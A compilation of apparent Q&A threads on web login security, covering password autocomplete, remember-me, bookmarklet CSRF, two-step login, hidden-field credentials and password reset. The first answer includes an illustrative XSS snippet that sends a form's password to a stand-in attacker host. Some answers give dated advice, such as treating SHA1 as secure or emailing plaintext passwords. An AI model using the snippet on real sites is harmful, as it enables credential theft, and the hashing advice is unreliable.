Should I prevent password autocomplete? - security

There are lots of replies here on how to prevent password form element autocomplete. My question is should we?
According to the UK government; forcing password resets (something we're often asked to do by clients) describes a net-loss in security and it's actively discouraged.
According to Mozilla; forcing password autocomplete off also suggests a net-loss in security. The UK .gov website doesn't mention this particular practice.
My question:
Should I attempt to prevent password autocomplete, forcing the user to remember their password, or does the autocomplete provide a net-gain?
// Please cite your sources.

Update: My blog has a proof on concept if you wish to try this out in your browser.
The classic risk of allowing password autocomplete is that any XSS flaw on your website will allow an attacker to grab the password. This is because the browser will autocomplete the password field value, so it will be available in the DOM.
<script>
new Image().src = "//evil.example.com/?password=" + escape(document.getElementById('password').value);
</script>
However, if an attacker can inject a password field themselves in their XSS attack, they could inject one with autocomplete enabled anyway, regardless of the autocomplete setting on your real password field. Classically though, the attribute would prevent the password from being saved in the first place and therefore couldn't be autocompleted in any attack.
As per your Mozilla link, browsers now ignore autocomplete="off":
if a site sets autocomplete="off" for a form, and the form includes username and password input fields, then the browser will still offer
to remember this login, and if the user agrees, the browser will
autofill those fields the next time the user visits this page.
if a site sets autocomplete="off" for username and password input fields, then the browser will still offer to remember this login, and
if the user agrees, the browser will autofill those fields the next
time the user visits this page.
This is the behavior in Firefox (since version 38), Google Chrome (since 34), and Internet Explorer (since version 11).
Therefore, the answer to your question is "it doesn't make any difference". Additionally, browsers sometimes prompt before completing login credentials, and password managers such as Lastpass can be set to not auto complete fields without the user choosing which login to use first. Some vulnerability scanners (and therefore pentesters relying on these) might raise a low risk issue that autocomplete is enabled on password fields. If so, you should be able to confidently point them in the direction of the Mozilla link. However, one thing to note is that if you are gaining PCI compliance, you may need to still remediate this. Please see my blog post for a more in-depth analysis.

Related

Should email address be stored after logout?

I've written an add-on for a web application that inserts a "Remember Me" checkbox into login forms. One of my users expressed surprise that they are not remembered after logging out! Clearly someone who has logged out should stay logged out, and despite a specific request I will not fill the password field as that means storing the password in clear text.
My question is should the email address/username be pre-filled for a login form if a user has previously marked the "Remember Me" box?
Obviously if done on a public computer that would be effectively broadcasting their personal details to the next stranger who used that computer, but a user shouldn't use the "Remember Me" option on public computers anyway.
What are the security considerations of doing this? Do users expect some of their details to be remembered after logging out?
Edit: It occurs to me that browsers all have a feature to remember form values and login details anyway, perhaps making this unnecessary.
You should absolutely not pre-populate the email / login if someone has used the "remember me" feature. Keep in mind that this feature - also often called "keep me signed in" - is designed to persist the logged-in state across sessions. It's a usability feature to save the user from re-authenticating every time they visit the site.
It's not a means of persisting any part of the login credentials after explicitly signing out. Yes, the browser can remember form field values such as the login name but most security guidance explicitly recommends disabling this (refer to OWASP Top 10 for .NET developers part 3: Broken authentication and session management).
In terms of security systems, I certainly don't think there's any user expectation to pre-populate this data simply because the vast majority of websites don't operate in this fashion. Lowering the barrier to entry is fine if it's done with explicit consent, but not when the user has specifically signed out or ended their session and not when the behaviour is inconsistent with what they'd expect.
"Remember me" is not the same thing as "keep me signed in."
Many banking sites use "remember me" to save the username (but not the session) even after the user has logged out (ING Direct and Citizens Bank are a couple of examples). They usually hide part of the name for security purposes.
To make things clear for your users, you probably want to change the wording to "stay signed in" or something similar.
Assuming their email address is the being used as their user identifier, this is the behavior I expect and frequently see from many applications that I don't expect high levels of security from.
A more secure implementation it to store an encrypted identifier and only ask for the password when the user tries to login. This is the behavior I see and expect from sites that hold my financial sites. Ensuring the browser doesn't remember the password field is important for such sites.
It is good practice to place a warning about not using "Remember me" on public computers next to the check box.

Bookmarklet security considerations, CSRF, hashed key

My bookmarklet can be called from any website and basically allows the user to insert a row into his collection from afar - if he is logged in.
Now I want to enable CSRF protection for my site and since a bookmarklet is basically non-forged cross site request, I thought about how I could tell it apart from forged ones.
It's not a high-security environment, but I'm also interested in principle.
I thought I had a way to do it figured out, but then realised that it had problems galore.
Original idea
generate a random key that is included in the bookmarklet-link. The key's hash is saved in the database. The random key allows access ONLY to the privilege of insertion into this collection and can't be used anywhere else.
the bookmarklet loads a longer script from my server, so I could supply a CSRF prevention token this way
require the user to be logged in
Problems
If I have the bookmarklet key, do I need counter-CSRF tokens?
Is there any way that I could protect the bookmarklet key if the user clicks his bookmarklet on a malicious website?
I don't want username and password to be stored in the bookmarklet link, because anybody who has access to the computer would get the password as well then, so I decided on the random key.
but if I store only the hash, I cannot generate the same bookmarklet link twice, so when the user wants a bookmarklet in another browser/computer he tediously has to import the link from the old one or break support for the old one.
but I shouldn't store the cleartext key, because someone who gains access to the database could use this key to insert rows into accounts that don't belong to him.
Possible solution I could ask the user to provide his password anytime he creates the bookmarklet and hash the password many times and put that hash in the URL and put the hash of that hash my database. But of course this opens much worse security holes.
I could do this with something like "Mother's maiden name" instead
I cannot use bcrypt for hashing because of the random salt, right? What hash function would be right? Or would you dismiss the whole idea?
If I leave the bookmarklet key out, a malicious website could simply embed the bookmarklet and extract a valid CSRF token from it, right?
Better ideas? Or can't you have CSR without the F?
Edit, specified use case
One thing I simply didn't think about, is the usage of an iframe as suggested by Sripathi Krishnan.
I had not specified my use case, so yes, an iframe is a valid solution to the aforementioned
problem.
However, actually my bookmarklet at the moment does do some basic interaction with the website at runtime (meaning the form is there already and the user can change his selection in the website DOM which should change the form). I'm ready to dismiss this functionality for my use case, if it turns out, there's no reasonably-secure way to tell apart forged from non-forged cross-site requests - but I'm still interested on a theoretical level.
You can't make cross-site requests without eliminating the forgery part. But for your use case, I don't think you need cross-site requests.
Lets assume your service allows users to bookmark any pages he wishes. The job of the bookmarklet would be to save {url, title} into the database. At the same time, you want to prevent a malicious website automatically saving urls for a user who is logged in.
Here's what I would do to solve this -
Create a page on your domain that has a standard html form with regular CSRF protection. This page takes in the parameters {url, pagetitle}, but will only save this tuple when the user explicitly clicks the "save" button.
The bookmarklet's job is to load the iframe
Once the iframe loads, its a normal same-origin request
This is more or less what Google reader does as part of its bookmarklet. Here is the code for its bookmarklet - notice it doesn't have any tokens
javascript:
var b=document.body;
var GR________bookmarklet_domain='http://www.google.com';
if(b&&!document.xmlVersion) {
void(z=document.createElement('script'));
void(z.src='http://www.google.com/reader/ui/link-bookmarklet.js');
void(b.appendChild(z));
}
else{}
EDIT :
You can still support interactions with the iframe approach. The bookmarklet executes in context of the website, so it has access to the DOM. You can interact however you want with the website. When you are ready to save, open up the Iframe. The iframe will be a sort-of confirmation screen with just one save button.
The trick is to delay creation of the iframe. You only create the iframe when the user is ready to save.
If the bookmarklet is being stored in a web browser then the idea of including a secret key which hashed in the database is a good idea. This will prevent CSRF, although it is not ideal because in a sense this is a session id that doesn't time out. It should be clear that this token is only being used for this bookmarklet action. Despite this limitation it is unlikely that you will experience an attack. Adding HTTPS will make this stronger because it will be harder to spill this token.
If the bookmarklet is originating from a 3rd party site, then there is nothing you can do. This is the definition of CSRF.

Comcast's two step login

Comcast has changed their login process so it happens in two steps. Instead of two input boxes for username and password, you submit your username first. Then on a second page you enter your password.
https://www.comcast.com/Customers/CustomerCentral.cspx
Due to some recent security
improvements, we now require you to
enter your user name and password in
two separate steps.
What could the security improvement possibly be in this system? If anything it seems less secure since you can confirm the existence of a username independently from it's password.
Any ideas on what they're accomplishing here?
My guess would be that they are targetting specific phishing/keylogging software which is "used to" finding all the login information on the same page. It's making the job of some malicious software a little harder.
If you use the "automatically fill in my forms" feature of many browsers, this will also separate the login information into two separate entries in the browser's data store, again making things just a little harder for any software which might try to exploit this feature.
Not sure if Comcast is doing the same thing, but I know a lot of bank websites I use lately started doing the following:
Prompt you for your username
Look up an image and a string that you specified at your account creation.
Display that image + string along with the password box.
The stated goal is so that, if you as a user notice that the image and string don't match what you picked when you created the account, you get suspicious and don't enter your password.
What is the benefit here? I don't see any either, as an attacker's script can just look up the image and string from the real login page. Maybe it makes dumb people feel more safe.
It is strange, on the password page they require your email and password, not the user name.
The user name is not a secret, as you use it in your mail address probably....
They still allow you to "stay signed in" ...
So Actually, I don't think there is a real security benefit
You can get directly to the 2nd login page if you bookmark it....
Simply so when you login to more secure areas of my account, you need to reenter your password instead of use the remember-me function, so if someone gets on the computer, all they can do is access email from a normal session. Yahoo does this also.

How bad are usernames and passwords stored in hidden form fields?

Suppose you've got a webapp that's passing usernames and passwords around in hidden form fields.
I know it's a very bad idea, but I'm interested in enumerating why... any thoughts?
update - This is a hypothetical question.
I couldn't find a resource that just enumerated the reasons - I know of plenty of reasons why it's a bad idea, I'm looking to see if there are any other reasons I haven't thought of and create that resource I was looking for. Thanks!
A number of reasons why it is a poor idea:
1) As pointed out, if you view source, inspect element, or anything similar, then the username/password is easily discovered.
2) Unless your transport layer is encrypted, they will be easily intercepted.
3) If the browser caches your html page, then that file with a username/password is now stored on that person's computer.
4) If that user saves the page to give to someone else, then their username/password goes with that page.
5) A POST method accidentally gets changed to a GET, now the password and username is stored in the server access logs....
Etc, etc.
There is no real reason to do it in my opinion, especially when you can use session cookies on the server, or some other method that doesn't expose private information to the client.
Edit: Come to think of it, I have done this once before. I put a password in a hidden field, however before doing so I encrypted it with a secret key known only to the server before printing it out, and then when I got the password posted back to the server, I decrypted it. Therefore the plaintext password is never with the client.
Edit 2: Should probably point out that the method described in the previous edit was not used for directly authenticating someone, as per hobbs point.
It's so easy for anyone with access to the current page ( might not necessarily be the same person who log into your application) to view the html source and get the user name and password.
If I log into my gmail, and leave my desk, and you come in and you can see all my email messages. But no matter what you can't see my gmail password. But if gmail passes the password around in hidden field format, then you can see my gmail password.
The page could get cached in a user's browser.
The page could get cached in a proxy server.
Worst of all, the page could get cached by a search engine.
In all cases the content containing username and password might be served to a person who is not supposed to see it.
I don't think storing a username in plaintext is so bad, and in some cases it might be beneficial to do so.
Storing passwords, however, are a different story. It would be very easy for someone to packet sniff your data going across the network (there are many points on its journey that this could happen) and logon using your credentials.
A golden rule I follow is never store a plaintext password anywhere, ever.
I think the biggest risk here is that any XSS vulnerability now allows password stealing. XSS is much worse than it seems. There isn't really any excuse for XSS vulnerabilities, but people make decisions such that they become rather inevitable.
Perhaps the second biggest risk is caching. These passwords are going to end up on disk and be available to any malicious code trawling through files. Having said that, most passwords can end up on disk through swapping and hibernation - it becomes a matter of probabilities.
Typically when I need an official resource for listing possible attacks or weaknesses, I turn to:
Common Weakness Enumeration
http://cwe.mitre.org/
Common Attack Pattern Enumeration and Classification
http://capec.mitre.org/
Taxonomy of Software Security Errors
http://www.fortify.com/vulncat/
Amazingly, storing username/password in a hidden form field is such an egregious error that it hits about 20 issues within the CWE.
Just to get you started:
http://cwe.mitre.org/data/definitions/352.html
http://cwe.mitre.org/data/slices/384.html
http://cwe.mitre.org/data/definitions/471.html
http://cwe.mitre.org/data/definitions/472.html
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/642.html
http://cwe.mitre.org/data/definitions/656.html
Well, the dangers vary depending on what you mean by "usernames and passwords".
If you're referring to the usernames and passwords being validated against, I invite you to choose View->Source in your web browser. This is no security at all.
If you mean the username and password of the user logging in being placed in a hidden field before being sent, there's absolutely no difference between that and your standard text and password fields. The only security risk here are passwords being sent in-the-clear without a TLS/SSL connection to encrypt it, allowing for packet sniffing to see the credentials.
Wiretapping, especially if the transport layer is not encrypted
unless all your pages are served over https it's bad because usernames and password are sent in clear text over the network constantly and can sniffed.
Even if all pages are served over https it's bad because if a user forgets to close his/her browser, anyone with access to the computer can view the source and read the password.
It gives the users a false sense of security and I would recommend that you change it if at all possible.

What is the best "forgot my password" method? [duplicate]

This question already has answers here:
Closed 10 years ago.
Possible Duplicate:
Forgot Password: what is the best method of implementing a forgot password function?
I'm programming a community website.
I want to build a "forgot my password" feature.
Looking around at different sites, I've found they employ one of three options:
send the user an email with a link to a unique, hidden URL that allows him to change his password (Gmail and Amazon)
send the user an email with a new, randomly generated password (Wordpress)
send the user his current password (www.teach12.com)
Option #3 seems the most convenient to the user but since I save passwords as an MD5 hash, I don't see how option #3 would be available to me since MD5 is irreversible. This also seems to be insecure option since it means that the website must be saving the password in clear text somewhere, and at the least the clear-text password is being sent over insecure e-mail to the user. Or am I missing something here?
So if I can't do option #1, option #2 seems to be the simplest to program since I just have to change the user's password and send it to him. Although this is somewhat insecure since you have to have a live password being communicated via insecure e-mail. However, this could also be misused by trouble-makers to pester users by typing in random e-mails and constantly changing passwords of various users.
Option #1 seems to be the most secure but requires a little extra programming to deal with a hidden URL that expires etc., but it seems to be what the big sites use.
What experience have you had using/programming these various options? Are there any options I've missed?
4) Crediting their bank account with two random amounts and ask them to enter those in.
5) Snail mail them some new password and ask them to enter it in.
6) Have them text or call some number and enter some value to a phone number with the mobile phone they registered on file.
7) Get out of the password management problem altogether by outsourcing it to OpenID providers like Stack Overflow, Facebook, blog engines, and others are starting to do.
Outside of those, use option #1 or #2 with the added feature that both expire in an hour.
I'm shocked at the upvotes on answers describing #1 and #2 as equivalent. They aren't at all. Sending the user a short term link to change their password is the most convenient, most commonly used, and most secure approach that doesn't involve an out of band interaction (mail, text msg, etc.). A few reasons:
Setting a temporary password via a forgot password link allows users to effectively change a user's password and lock a user out of their account if they know the user's login. With a link, the user simply knows someone is messing around and their access isn't impacted.
The password reset link is only valid for a short period, so there's a very small window for an attacker to strike. And even if they did, the user would know because the reset link would no longer work if the attacker intercepted the link and used it to change the password. If the new assigned password isn't changed by the user immediately, the attacker who intercepted the password can quietly impersonate the user indefinitely. So the big difference is, while a hacker can intercept the reset password link email, if they use the link to change the user's password, the user will know something is wrong because the link won't work and they'll generate another password reset request.
Easier to use - the user simply clicks a link in their email rather than typing a new random password you've generated.
And security questions often make a site less secure, not more - they're another attack vector and often the weakest link. I highly recommend reading The Web Application Hacker's Handbook for an excellent discussion on this topic.
Note that Option #2 also requires you to keep track of the old password and expire the new random password if it isn't used within, say 24 hours.
Otherwise I could annoy you by repeatedly issuing you a new random password -- if you are not near your email you might not know why you cannot log in with your normal password.
Also, please avoid requiring an "identification question". The answers to these questions are typically much easier to guess/lookup than real passwords -- so everybody can identify themselves as me. See the Sarah Palin story for a recent example of how insecure this is.
Options 1 and 2 as insecure as each other.
There. I said it. If the user's email account has been breached, there's no reasonable secure way to do things unless you collect more private data like their address, mother's maiden name - all of which can be guessed.
The best (albeit most annoying) version I have seen is where you need to remember a secret question and a secret answer. It means the user has to remember which question they asked, which, of course, can always be forgotten too!
If they forget the question and you're a "real" company, there's always the option of sending the user a token through the post, with instructions on how to reset all their security... It's very unlikely that a hacker will have access to their real life mail.
A skew on that would be to collect a telephone number when the user created the account. If that existed and they couldn't remember any of their details, you could set up some sort of automated calling system that told them how to reset their details.
And one thing to mention about #2: Don't let the process overwrite the current account password. If that happened anybody could say they forgot any account's password, triggering lots of unwanted password changes.
There's no real difference between the security of option 1 or 2. Option 1 is effectively the same as preloading the new password in the form.
In fact, with the prevalence of phishing attacks, one could argue that encouraging use of option 1 with long URLs could make people less alert about clicking on long mysterious URLs.
Read the OWASP top ten to make sure your method is compliant.
Here is the direct link.
Just a quick note on something not specifically in regards to your question. You mentioned you used MD5 to hash stored passwords. Regardless of whether you choose to use Options 1 or 2 (3 is going to be the least secure as, for obvious reasons), MD5 is a cracked hashing algorithm, and can actually make it fairly easy for hackers to gain access to accounts protected by MD5 hashing.
You can read more about the vulnerability it at the following URL: en.wikipedia.org/wiki/MD5
A better hashing solution would be something like SHA, which is still a stable and secure hashing algorithm. Combined with option #1 or #2, you should have a reasonably secure system in place to protect your users passwords, barring all but the most determined hackers.
Option #1 is probably the best. #3 is insecure (and I also suggest using something stronger than MD5, such as SHA1). Option #2 is not good because it allows any random person to lock you out of your account until you check your email, unless you use a security question. And security questions are often easier to crack than passwords.
Option #1 has a couple of major advantages over #2. If a random user types in my email address into the "I have forgotten my password" box, then my password will not be reset. Also, it is slightly more secure in that there is no permanent record of the site's password stored in your gmail inbox forever.
A critical missing piece here is that the link you provide in #1 should only work for one password reset and have a time limit
All these solutions mean that you are treating your email inbox as the "one ring" that rules them all. Most online services seem to be doing this now days anyway.
My preferred approach is to go with openid where possible. Password management is hell that no one seems to get quite right. It's easier to hand this problem to someone else.
Option 4: Require user to reset password by entering their account name AND email address. As long as you aren't disclosing real names or email addresses on the site (WHY would you in this day and age?) this is a reasonably secure and tamper-proof method. Send a link to a reset page, not the password itself.
Option 5: Use OpenID and pass the responsibility to a 3rd-party to worry about it.
Honestly though this is a lot more effort than most sites require. I for one LIKE receiving plaintext passwords by email because I store them in a "registrations" folder in my inbox. That way I can lookup passwords for sites when I forget them (which happens a lot!). If somebody is reading my email I have bigger problems to worry about than people using my twitter account (if I had one). Of course banks and corporations have stronger requirements but you didn't specify what your site is. That's the key to the best answer.
I agree with your comments about option #3 being insecure.
As for programming either #1 or #2, option #2 is easier to program but #1 isn't much harder and both are probably about as secure as each other.
Whichever option you choose, you can also consider making it more secure by including requests for personal information (that you obtain during registration) as part of the forgotten password process.
I've programmed systems where you have a username and to get a new password you have to enter both your username and your email address. You can get sent a reminder of your username but the main point is that someone probably won't be able to guess your username and your email but if you do it just on email, there's less secure.
Secret questions are an approach to the personal information part. I personally think they don't offer a lot of value as people tend to choose questions that many people will either know the answer to, be able to guess or be able to find out. It is better than nothing however so long as you use it in conjunction with an already relatively secure method.
Obviously the more of this you do, the more programming work it is.
The simplest method is:
Have a "remind me of my username" link (enter email). Don't tell the user if an email was sent or not because people can use that to find out if an email address is of a member. Always tell the user to check their inbox for the reminder email but only send it if someone is a member; and
Require both username and email to get sent a new one-time password. That password should only last an hour or so. When the user uses it, they should be forced to change their password immediately.
Either option 1 or 2 would be fine. As you said, option 3 is insecure as you would need to store the clear text password. You could probably get fancy and use a reversible encryption algorithm to store/retrieve the password, but with better alternatives available to you there's no reason to go down that road.
There is an additional option that you can use in combination with any of the options that you mention:
You can let the user write a reminder for their password, that you send to them as the first step when they have forgotten the password. If the reminder doesn't help the user, you can go on to the next option.
As the reminder isn't the password itself, it's safe to send by mail (or perhaps even display directly on the page).
If you are hashing them Option 3 is unavailable and if you are not hashing them, shame on you. :)
I prefer option 1, sending a reset password link sent to their email which allows them (for a limited time) to reset their password. It does require more work, but it's easy for them to use and ultimately as secure as their email login process.
You could made a mix between #1 and #2, taking advantages from both:
Send the user an email with a link to a unique, hidden URL that allows him to change a new randomly generated password.
That page could be SSL, and the password could expire in 12-24 hours.
I've tried a couple of methods that I've not really been happy with. What I've settled on for the next project is to:
User enters username and email address
Email sent with link containing url and guid param which has been stored in db with 48 hour expiry
User confirms password to be reset
New password is emailed to user
Login with new password displays message or redirects to change password page.
Instruct the user come personally to your offices and prove her identity with id card or passport.
This, of course, assumes that you have offices near your users and that the account are valuable enough to justify this procedure. Suitable for example banks.

Resources